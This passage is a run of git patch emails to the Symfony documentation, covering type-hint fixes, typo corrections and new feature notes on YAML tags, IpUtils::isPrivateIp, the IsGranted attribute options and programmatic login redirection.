+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Email\NewsletterManager" constructor="create">
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Email\NewsletterManager;
+
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            $services->set(NewsletterManager::class)
+                ->constructor('create');
+        };
+
+.. versionadded:: 6.3
+
+    The ``constructor`` option was introduced in Symfony 6.3.
+
 Non-Static Factories
 --------------------
 

From 2b5b60aece560295a49ec0bc5a35729bb0a51e96 Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sat, 18 Mar 2023 00:43:17 +0100
Subject: [PATCH 3086/5766] Update data_transformers.rst

Adding return type for addModelTransformer functions params
---
 form/data_transformers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 8258ee2794a..d87bde36855 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -78,11 +78,11 @@ class::
 
             $builder->get('tags')
                 ->addModelTransformer(new CallbackTransformer(
-                    function ($tagsAsArray) {
+                    function ($tagsAsArray): string {
                         // transform the array to a string
                         return implode(', ', $tagsAsArray);
                     },
-                    function ($tagsAsString) {
+                    function ($tagsAsString): array {
                         // transform the string back to an array
                         return explode(', ', $tagsAsString);
                     }

From eaf87b73383cc4604ebe483c392dfc530a5c0428 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Mar 2023 17:52:01 +0100
Subject: [PATCH 3087/5766] [Logging] Tweak a section heading

---
 logging/channels_handlers.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index aa4a64dab69..c329909ad88 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -99,10 +99,9 @@ can do it in any (or all) environments:
     such handler will ignore this configuration and will process every message
     passed to them.
 
-YAML Specification
-------------------
+.. _yaml-specification:
 
-You can specify the configuration by many forms:
+You can specify the configuration in different ways:
 
 .. code-block:: yaml
 

From 752721edeb013ce1c19533ab746d0cf0890c839e Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sat, 18 Mar 2023 12:35:45 +0100
Subject: [PATCH 3088/5766] Update events.rst

Add void return type
---
 form/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/events.rst b/form/events.rst
index a99698aa247..d8ab9d60b87 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -272,7 +272,7 @@ method of the ``FormFactory``::
     $form = $formFactory->createBuilder()
         ->add('username', TextType::class)
         ->add('showEmail', CheckboxType::class)
-        ->addEventListener(FormEvents::PRE_SUBMIT, function (FormEvent $event) {
+        ->addEventListener(FormEvents::PRE_SUBMIT, function (FormEvent $event): void {
             $user = $event->getData();
             $form = $event->getForm();
 

From 7ccec05c0664de53c6040cce71c4d647161d738f Mon Sep 17 00:00:00 2001
From: jeanhadrien <40248338+jeanhadrien@users.noreply.github.com>
Date: Sat, 18 Mar 2023 18:03:02 +0100
Subject: [PATCH 3089/5766] Update doctrine.rst

typo fixe
---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 731cd06785f..9aa81e22ae7 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -663,7 +663,7 @@ using the ``MapEntity`` attribute::
 
 .. tip::
 
-    When enabled globally, it's possible to disabled the behavior on a specific
+    When enabled globally, it's possible to disable the behavior on a specific
     controller, by using the ``MapEntity`` set to ``disabled``::
 
         public function show(

From 9310d78d2c018e091f717fff7dd008d8042db68c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 18 Mar 2023 18:32:14 +0100
Subject: [PATCH 3090/5766] [Yaml] Mention `php/const` and `php/object`

---
 reference/formats/yaml.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index cc426fa3f1c..4043d848aed 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -321,6 +321,28 @@ The YAML specification defines some tags to set the type of any data explicitly:
             Pz7Y6OjuDg4J+fn5OTk6enp
             56enmleECcgggoBADs=
 
+Symfony Specific Tags
+~~~~~~~~~~~~~~~~~~~~~
+
+The YAML component provides a few additional tags that brings a few
+features when parsed in your PHP code:
+
+* ``!php/const`` allows to use a constant name defined in a PHP file. This
+  tag takes a constant FQCN as its argument:
+
+.. code-block:: yaml
+
+    data:
+        page_limit: !php/const App\Pagination\Paginator::PAGE_LIMIT
+
+* ``!php/object`` allows to pass the serialized representation of a PHP
+  object, which will be deserialized when the parsing is done:
+
+.. code-block:: yaml
+
+    data:
+        my_object: !php/object 'O:8:"stdClass":1:{s:3:"bar";i:2;}'
+
 Unsupported YAML Features
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 

From e8313e624803ac055703a338a7804aedcb46adfb Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Sun, 19 Mar 2023 23:28:09 +0100
Subject: [PATCH 3091/5766] replace ManagerRegistry with EntityManagerInterface
 in doctrine associations doc

---
 doctrine/associations.rst | 19 +++++++++----------
 1 file changed, 9 insertions(+), 10 deletions(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 8ebdadf7864..f89e2c9b237 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -313,14 +313,14 @@ Now you can see this new code in action! Imagine you're inside a controller::
     // ...
     use App\Entity\Category;
     use App\Entity\Product;
-    use Doctrine\Persistence\ManagerRegistry;
+    use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class ProductController extends AbstractController
     {
         #[Route('/product', name: 'product')]
-        public function index(ManagerRegistry $doctrine): Response
+        public function index(EntityManagerInterface $entityManager): Response
         {
             $category = new Category();
             $category->setName('Computer Peripherals');
@@ -333,7 +333,6 @@ Now you can see this new code in action! Imagine you're inside a controller::
             // relates this product to the category
             $product->setCategory($category);
 
-            $entityManager = $doctrine->getManager();
             $entityManager->persist($category);
             $entityManager->persist($product);
             $entityManager->flush();
@@ -379,9 +378,9 @@ before. First, fetch a ``$product`` object and then access its related
 
     class ProductController extends AbstractController
     {
-        public function show(ManagerRegistry $doctrine, int $id): Response
+        public function show(ProductRepository $productRepository, int $id): Response
         {
-            $product = $doctrine->getRepository(Product::class)->find($id);
+            $product = $productRepository->find($id);
             // ...
 
             $categoryName = $product->getCategory()->getName();
@@ -412,9 +411,9 @@ direction::
     // ...
     class ProductController extends AbstractController
     {
-        public function showProducts(ManagerRegistry $doctrine, int $id): Response
+        public function showProducts(CategoryRepository $categoryRepository, int $id): Response
         {
-            $category = $doctrine->getRepository(Category::class)->find($id);
+            $category = $categoryRepository->find($id);
 
             $products = $category->getProducts();
 
@@ -433,7 +432,7 @@ by adding JOINs.
     a "proxy" object in place of the true object. Look again at the above
     example::
 
-        $product = $doctrine->getRepository(Product::class)->find($id);
+        $product = $productRepository->find($id);
 
         $category = $product->getCategory();
 
@@ -503,9 +502,9 @@ object and its related ``Category`` in one query::
     // ...
     class ProductController extends AbstractController
     {
-        public function show(ManagerRegistry $doctrine, int $id): Response
+        public function show(ProductRepository $productRepository, int $id): Response
         {
-            $product = $doctrine->getRepository(Product::class)->findOneByIdJoinedToCategory($id);
+            $product = $productRepository->findOneByIdJoinedToCategory($id);
 
             $category = $product->getCategory();
 

From 7b1160c67b1bd7b162de3216da8c13b7608bf3f2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 20 Mar 2023 08:50:55 +0100
Subject: [PATCH 3092/5766] [HttpFoundation] Add `ParameterBag::getString()`

---
 components/http_foundation.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index a569fd9b459..aa2c7a78224 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -147,9 +147,13 @@ has some methods to filter the input values:
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::getEnum`
     Returns the parameter value converted to a PHP enum;
 
+:method:`Symfony\\Component\\HttpFoundation\\ParameterBag::getString`
+    Returns the parameter value as a string;
+
 .. versionadded:: 6.3
 
-    The ``ParameterBag::getEnum()`` method was introduced in Symfony 6.3.
+    The ``ParameterBag::getEnum()`` and ``ParameterBag::getString()`` methods
+    were introduced in Symfony 6.3.
 
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::filter`
     Filters the parameter by using the PHP :phpfunction:`filter_var` function.

From f767aa9f4a8831a9d783b97ff609e62726f5ce30 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Mon, 20 Mar 2023 08:17:51 +0100
Subject: [PATCH 3093/5766] Update forwarding.rst

---
 controller/forwarding.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/forwarding.rst b/controller/forwarding.rst
index 0f231e07b42..444439bb2df 100644
--- a/controller/forwarding.rst
+++ b/controller/forwarding.rst
@@ -14,7 +14,7 @@ and calls the defined controller. The ``forward()`` method returns the
 :class:`Symfony\\Component\\HttpFoundation\\Response` object that is returned
 from *that* controller::
 
-    public function index($name)
+    public function index($name): Response
     {
         $response = $this->forward('App\Controller\OtherController::fancy', [
             'name'  => $name,
@@ -29,7 +29,7 @@ from *that* controller::
 The array passed to the method becomes the arguments for the resulting controller.
 The target controller method might look something like this::
 
-    public function fancy($name, $color)
+    public function fancy(string $name, string $color): Response
     {
         // ... create and return a Response object
     }

From bbbaa103ee8fe301e9c982caa1afb1eacc0b830a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Mar 2023 12:56:00 +0100
Subject: [PATCH 3094/5766] Minor syntax issue in Symfony Server article

---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index f6e348d02a3..46e6889a48a 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -59,7 +59,7 @@ run the Symfony server in the background:
 .. tip::
 
     On macOS, when starting the Symfony server you might see a warning dialog asking
-    _"Do you want the application to accept incoming network connections?"_.
+    *"Do you want the application to accept incoming network connections?"*.
     This happens when running unsigned appplications that are not listed in the
     firewall list. The solution is to run this command that signs the Symfony binary:
 

From aad5bf582e89b8db44232c7bc7990a7519c6ecd2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Mar 2023 13:21:35 +0100
Subject: [PATCH 3095/5766] Minor tweaks

---
 reference/formats/yaml.rst | 28 +++++++++++++++-------------
 1 file changed, 15 insertions(+), 13 deletions(-)

diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 4043d848aed..01d23bf264c 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -321,27 +321,28 @@ The YAML specification defines some tags to set the type of any data explicitly:
             Pz7Y6OjuDg4J+fn5OTk6enp
             56enmleECcgggoBADs=
 
-Symfony Specific Tags
-~~~~~~~~~~~~~~~~~~~~~
+Symfony Specific Features
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The YAML component provides a few additional tags that brings a few
-features when parsed in your PHP code:
+The Yaml component provides some additional features that are not part of the
+official YAML specification but are useful in Symfony applications:
 
-* ``!php/const`` allows to use a constant name defined in a PHP file. This
-  tag takes a constant FQCN as its argument:
+* ``!php/const`` allows to get the value of a PHP constant. This tag takes the
+  fully-qualified class name of the constant as its argument:
 
-.. code-block:: yaml
+  .. code-block:: yaml
 
-    data:
-        page_limit: !php/const App\Pagination\Paginator::PAGE_LIMIT
+      data:
+          page_limit: !php/const App\Pagination\Paginator::PAGE_LIMIT
 
 * ``!php/object`` allows to pass the serialized representation of a PHP
-  object, which will be deserialized when the parsing is done:
+  object (created with the `serialize()`_ function), which will be deserialized
+  when parsing the YAML file:
 
-.. code-block:: yaml
+  .. code-block:: yaml
 
-    data:
-        my_object: !php/object 'O:8:"stdClass":1:{s:3:"bar";i:2;}'
+      data:
+          my_object: !php/object 'O:8:"stdClass":1:{s:3:"bar";i:2;}'
 
 Unsupported YAML Features
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -360,3 +361,4 @@ The following YAML features are not supported by the Symfony Yaml component:
 
 .. _`YAML 1.2 version specification`: https://yaml.org/spec/1.2/spec.html
 .. _`ISO-8601`: https://www.iso.org/iso-8601-date-and-time-format.html
+.. _`serialize()`: https://www.php.net/manual/en/function.serialize.php

From a67aaf0ce8f7f7ca4ac33f584d30d48a710ff052 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 18 Mar 2023 18:38:10 +0100
Subject: [PATCH 3096/5766] [Yaml] Mention `php/enum`

---
 reference/formats/yaml.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 99e108db178..a46c9da889e 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -338,6 +338,21 @@ official YAML specification but are useful in Symfony applications:
       data:
           my_object: !php/object 'O:8:"stdClass":1:{s:3:"bar";i:2;}'
 
+* ``!php/enum`` allows to use a PHP enum case. This tag takes the fully-qualified
+  class name of the enum case as its argument:
+
+  .. code-block:: yaml
+
+      data:
+          # You can use the typed enum case...
+          operator_type: !php/enum App\Operator\Enum\Type::Or
+          # ... or you can also use "->value" to directly use the value of a BackedEnum case
+          operator_type: !php/enum App\Operator\Enum\Type::Or->value
+
+.. versionadded:: 6.2
+
+    The ``!php/enum`` tag was introduced in Symfony 6.2.
+
 Unsupported YAML Features
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 

From fbb9fcb3e522f8292d6d2250c599dcf86407a657 Mon Sep 17 00:00:00 2001
From: Xavier RIGAL <295150+lougaou@users.noreply.github.com>
Date: Sun, 19 Mar 2023 09:34:07 +0100
Subject: [PATCH 3097/5766] Update style.rst

"ask" signature expects a string as second parameter

public function ask(string $question, string $default = null, callable $validator = null): mixed
---
 console/style.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/style.rst b/console/style.rst
index 4a10639aee6..fc94a1be4db 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -286,7 +286,7 @@ User Input Methods
     In case you need to validate the given value, pass a callback validator as
     the third argument::
 
-        $io->ask('Number of workers to start', 1, function ($number) {
+        $io->ask('Number of workers to start', '1', function ($number) {
             if (!is_numeric($number)) {
                 throw new \RuntimeException('You must type a number.');
             }

From 7506d1fb6002ff3374d81be33ff415c56700db8d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Rokas=20Mikalk=C4=97nas?= <rokas.mikalkenas@nfq.lt>
Date: Mon, 20 Mar 2023 21:08:42 +0200
Subject: [PATCH 3098/5766] Add messenger.stop_worker_on_signals option
 documentation

---
 messenger.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index ba8b3aac268..4d4fe94216a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -757,8 +757,12 @@ Graceful Shutdown
 .................
 
 If you install the `PCNTL`_ PHP extension in your project, workers will handle
-the ``SIGTERM`` POSIX signal to finish processing their current message before
-terminating.
+the ``SIGTERM`` or ``SIGINT`` POSIX signals to finish processing their current
+message before terminating.
+
+However, you might prefer to use different POSIX signals for graceful shutdown.
+You can override default ones by setting ``framework.messenger.stop_worker_on_signals``
+configuration option.
 
 In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping
 a Docker container having Supervisor as its entrypoint). In these cases you

From 990596e00e91778767814da1195c5227f56c4e62 Mon Sep 17 00:00:00 2001
From: Daniel Burger <48986191+danielburger1337@users.noreply.github.com>
Date: Mon, 20 Mar 2023 17:28:47 +0100
Subject: [PATCH 3099/5766] Add IpUtils::isPrivateIp docs

---
 components/http_foundation.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index aa2c7a78224..ef26ecfbb56 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -361,6 +361,23 @@ analysis purposes. Use the ``anonymize()`` method from the
     $anonymousIpv6 = IpUtils::anonymize($ipv6);
     // $anonymousIpv6 = '2a01:198:603:10::'
 
+Check if an IP belongs to a private subnet
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to know if an IP address belongs to a private subnet, you can
+use the ``isPrivateIp()`` method from the
+:class:`Symfony\\Component\\HttpFoundation\\IpUtils` to do that::
+
+    use Symfony\Component\HttpFoundation\IpUtils;
+
+    $ipv4 = '192.168.1.1';
+    $isPrivate = IpUtils::isPrivateIp($ipv4);
+    // $isPrivate = true
+
+    $ipv6 = '2a01:198:603:10:396e:4789:8e99:890f';
+    $isPrivate = IpUtils::isPrivateIp($ipv6);
+    // $isPrivate = false
+
 Accessing other Data
 ~~~~~~~~~~~~~~~~~~~~
 

From 08e9efd30005db8d94d10861c84bcb08f0808b57 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 21 Mar 2023 07:19:57 +0100
Subject: [PATCH 3100/5766] Fix headline

---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index ef26ecfbb56..ab996d9ba1c 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -361,7 +361,7 @@ analysis purposes. Use the ``anonymize()`` method from the
     $anonymousIpv6 = IpUtils::anonymize($ipv6);
     // $anonymousIpv6 = '2a01:198:603:10::'
 
-Check if an IP belongs to a private subnet
+Check if an IP Belongs to a Private Subnet
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you need to know if an IP address belongs to a private subnet, you can

From 6bbfa9f306a52cdb773b62e8a92b94b45964a6b4 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 21 Mar 2023 07:20:04 +0100
Subject: [PATCH 3101/5766] Add versionadded

---
 components/http_foundation.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index ab996d9ba1c..cdfcee2aae0 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -378,6 +378,10 @@ use the ``isPrivateIp()`` method from the
     $isPrivate = IpUtils::isPrivateIp($ipv6);
     // $isPrivate = false
 
+.. versionadded:: 6.3
+
+    The ``isPrivateIp()`` method was introduced in Symfony 6.3.
+
 Accessing other Data
 ~~~~~~~~~~~~~~~~~~~~
 

From 149d33be93bb9591c640cb6aad134935084dbed4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 20 Mar 2023 17:37:06 +0100
Subject: [PATCH 3102/5766] [Security] Add `statusCode` and `message` arguments
 to `#[IsGranted]`

---
 security.rst | 19 ++++++++++++++++++-
 1 file changed, 18 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 614041b4a94..2bcd96b17e5 100644
--- a/security.rst
+++ b/security.rst
@@ -2299,13 +2299,30 @@ the ``ROLE_SUPER_ADMIN`` permission:
     #[IsGranted('ROLE_ADMIN')]
     class AdminController extends AbstractController
     {
-        #[IsGranted('ROLE_SUPER_ADMIN')]
+        // Optionally, you can set a custom message that will be displayed to the user
+        #[IsGranted('ROLE_SUPER_ADMIN', message: 'You are not allowed to access the admin dashboard.')]
         public function adminDashboard(): Response
         {
             // ...
         }
     }
 
+If you want to use a custom status code instead of the default one (which
+is 403), this can be done by setting with the ``statusCode`` argument::
+
+    // src/Controller/AdminController.php
+    // ...
+
+    use Symfony\Component\Security\Http\Attribute\IsGranted;
+
+    #[IsGranted('ROLE_ADMIN', statusCode: 423)]
+    class AdminController extends AbstractController
+    {
+        // ...
+    }
+
+The default code is 403.
+
 .. versionadded:: 6.2
 
     The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.

From 0837e79e91061cc2d072fd949c4e7af5c060ffaf Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 21 Mar 2023 09:16:12 +0100
Subject: [PATCH 3103/5766] Minor

---
 security.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/security.rst b/security.rst
index 2bcd96b17e5..c8c0f162699 100644
--- a/security.rst
+++ b/security.rst
@@ -2321,8 +2321,6 @@ is 403), this can be done by setting with the ``statusCode`` argument::
         // ...
     }
 
-The default code is 403.
-
 .. versionadded:: 6.2
 
     The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.

From 52a254bdbbf383981b1bcad42d018125049eed10 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 20 Mar 2023 17:24:38 +0100
Subject: [PATCH 3104/5766] [Security] Add argument `exceptionCode` to
 `#[IsGranted]`

---
 security.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/security.rst b/security.rst
index 35949345fd7..9e87a7e0f20 100644
--- a/security.rst
+++ b/security.rst
@@ -2321,10 +2321,30 @@ is 403), this can be done by setting with the ``statusCode`` argument::
         // ...
     }
 
+You can also set the internal exception code of the
+:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
+that is thrown with the ``exceptionCode`` argument::
+
+    // src/Controller/AdminController.php
+    // ...
+
+    use Symfony\Component\Security\Http\Attribute\IsGranted;
+
+    #[IsGranted('ROLE_ADMIN', statusCode: 403, exceptionCode: 10010)]
+    class AdminController extends AbstractController
+    {
+        // ...
+    }
+
 .. versionadded:: 6.2
 
     The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
 
+.. versionadded:: 6.3
+
+    The ``exceptionCode`` argument of the ``#[IsGranted()]`` attribute was
+    introduced in Symfony 6.3.
+
 .. _security-template:
 
 Access Control in Templates

From fda6335abaa8bc4ed13c81bc2d1a5f181fede142 Mon Sep 17 00:00:00 2001
From: "A. Pauly" <adrienpauly1@gmail.com>
Date: Tue, 7 Mar 2023 11:39:13 +0100
Subject: [PATCH 3105/5766] [Workflow] MarkingStore: remove "arguments" and add
 "property"

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 782f4c14173..8db3c0abca2 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3485,7 +3485,7 @@ marking_store
 
 Each marking store can define any of these options:
 
-* ``arguments`` (**type**: ``array``)
+* ``property`` (**type**: ``string`` **default**: ``'marking'``)
 * ``service`` (**type**: ``string``)
 * ``type`` (**type**: ``string`` **allow value**: ``'method'``)
 

From 9ef65efc16e3204f2578401d70cc8abef8c1b6bb Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Mon, 13 Mar 2023 22:14:04 +0100
Subject: [PATCH 3106/5766] [Uid] Fix Uid config example

---
 components/uid.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 96203589d3d..a19d46fb871 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -99,9 +99,9 @@ configure the behavior of the factory using configuration files::
             uid:
                 default_uuid_version: 6
                 name_based_uuid_version: 5
-                name_based_uuid_namespace: ~
+                name_based_uuid_namespace: 6ba7b810-9dad-11d1-80b4-00c04fd430c8
                 time_based_uuid_version: 6
-                time_based_uuid_node: ~
+                time_based_uuid_node: 121212121212
 
     .. code-block:: xml
 
@@ -118,9 +118,9 @@ configure the behavior of the factory using configuration files::
                 <framework:uid
                     default_uuid_version="6"
                     name_based_uuid_version="5"
-                    name_based_uuid_namespace=""
+                    name_based_uuid_namespace="6ba7b810-9dad-11d1-80b4-00c04fd430c8"
                     time_based_uuid_version="6"
-                    time_based_uuid_node=""
+                    time_based_uuid_node="121212121212"
                 />
             </framework:config>
         </container>
@@ -140,9 +140,9 @@ configure the behavior of the factory using configuration files::
                 'uid' => [
                     'default_uuid_version' => 6,
                     'name_based_uuid_version' => 5,
-                    'name_based_uuid_namespace' => '',
+                    'name_based_uuid_namespace' => '6ba7b810-9dad-11d1-80b4-00c04fd430c8',
                     'time_based_uuid_version' => 6,
-                    'time_based_uuid_node' => '',
+                    'time_based_uuid_node' => 121212121212,
                 ],
             ]);
         };

From efc16788d62db564500e3c458117ad21ac055a19 Mon Sep 17 00:00:00 2001
From: Kilian Riou <kilian@redheness.net>
Date: Mon, 13 Feb 2023 10:17:02 +0100
Subject: [PATCH 3107/5766] Update environment processor page

Replace file entries from ../* to %kernel.project_dir%/* to make it work in both console and in controllers.
See https://stackoverflow.com/questions/75409892/symfony-file-environment-variable-processor-not-working-in-console-command?noredirect=1#comment133062312_75409892
---
 configuration/env_var_processors.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 2739433d9a9..19f05f3993b 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -399,7 +399,7 @@ Symfony provides the following env var processors:
 
             # config/packages/framework.yaml
             parameters:
-                env(AUTH_FILE): '../config/auth.json'
+                env(AUTH_FILE): '%kernel.project_dir%/config/auth.json'
             google:
                 auth: '%env(file:AUTH_FILE)%'
 
@@ -440,7 +440,7 @@ Symfony provides the following env var processors:
 
             # config/packages/framework.yaml
             parameters:
-                env(PHP_FILE): '../config/.runtime-evaluated.php'
+                env(PHP_FILE): '%kernel.project_dir%/config/.runtime-evaluated.php'
             app:
                 auth: '%env(require:PHP_FILE)%'
 
@@ -482,7 +482,7 @@ Symfony provides the following env var processors:
 
             # config/packages/framework.yaml
             parameters:
-                env(AUTH_FILE): '../config/auth.json'
+                env(AUTH_FILE): '%kernel.project_dir%/config/auth.json'
             google:
                 auth: '%env(trim:file:AUTH_FILE)%'
 

From 732ae9e0063b88cea5feaa868cfe4909bc8c5591 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Mar 2023 17:01:46 +0100
Subject: [PATCH 3108/5766] Minor tweak

---
 reference/configuration/security.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 826363f317b..6e4b96c6860 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -902,7 +902,8 @@ multiple firewalls, the "context" could actually be shared:
 stateless
 ~~~~~~~~~
 
-Firewalls can configure a ``stateless`` boolean option in order to declare that the session mustn't be used when authenticating user:
+Firewalls can configure a ``stateless`` boolean option in order to declare that
+the session must not be used when authenticating users:
 
 .. configuration-block::
 

From 8d61936745cf3eb5b7d86ccb5208304b78beefd4 Mon Sep 17 00:00:00 2001
From: Nicolas Sauveur <nicolas.sauveur@gmail.com>
Date: Mon, 12 Dec 2022 12:10:36 +0100
Subject: [PATCH 3109/5766] [Security] Make login redirection logic available
 to programmatic login

---
 security.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 35949345fd7..8d4b394905b 100644
--- a/security.rst
+++ b/security.rst
@@ -1657,7 +1657,12 @@ You can log in a user programmatically using the ``login()`` method of the
             // you can also log in on a different firewall
             $security->login($user, 'form_login', 'other_firewall');
 
-            // ... redirect the user, e.g. to their account page
+            // use the redirection logic applied to regular login,
+            $redirectResponse = $security->login($user);
+            return $redirectResponse;
+            // or use a specific redirection logic
+            // (redirect the user to its account page for instance)
+            // ...
         }
     }
 

From f09c0c260e7ea573e40d4cd4e822835bcd68288e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Mar 2023 17:19:12 +0100
Subject: [PATCH 3110/5766] Tweaks

---
 security.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/security.rst b/security.rst
index 8d4b394905b..55358acd704 100644
--- a/security.rst
+++ b/security.rst
@@ -1657,15 +1657,19 @@ You can log in a user programmatically using the ``login()`` method of the
             // you can also log in on a different firewall
             $security->login($user, 'form_login', 'other_firewall');
 
-            // use the redirection logic applied to regular login,
+            // use the redirection logic applied to regular login
             $redirectResponse = $security->login($user);
             return $redirectResponse;
-            // or use a specific redirection logic
-            // (redirect the user to its account page for instance)
-            // ...
+
+            // or use a custom redirection logic (e.g. redirect users to their account page)
+            // return new RedirectResponse('...');
         }
     }
 
+.. versionadded:: 6.3
+
+    The feature to use a custom redirection logic was introduced in Symfony 6.3.
+
 .. _security-logging-out:
 
 Logging Out

From 2497577fd7888822f5f1ea22f6fa14b55b607036 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Mar 2023 17:43:04 +0100
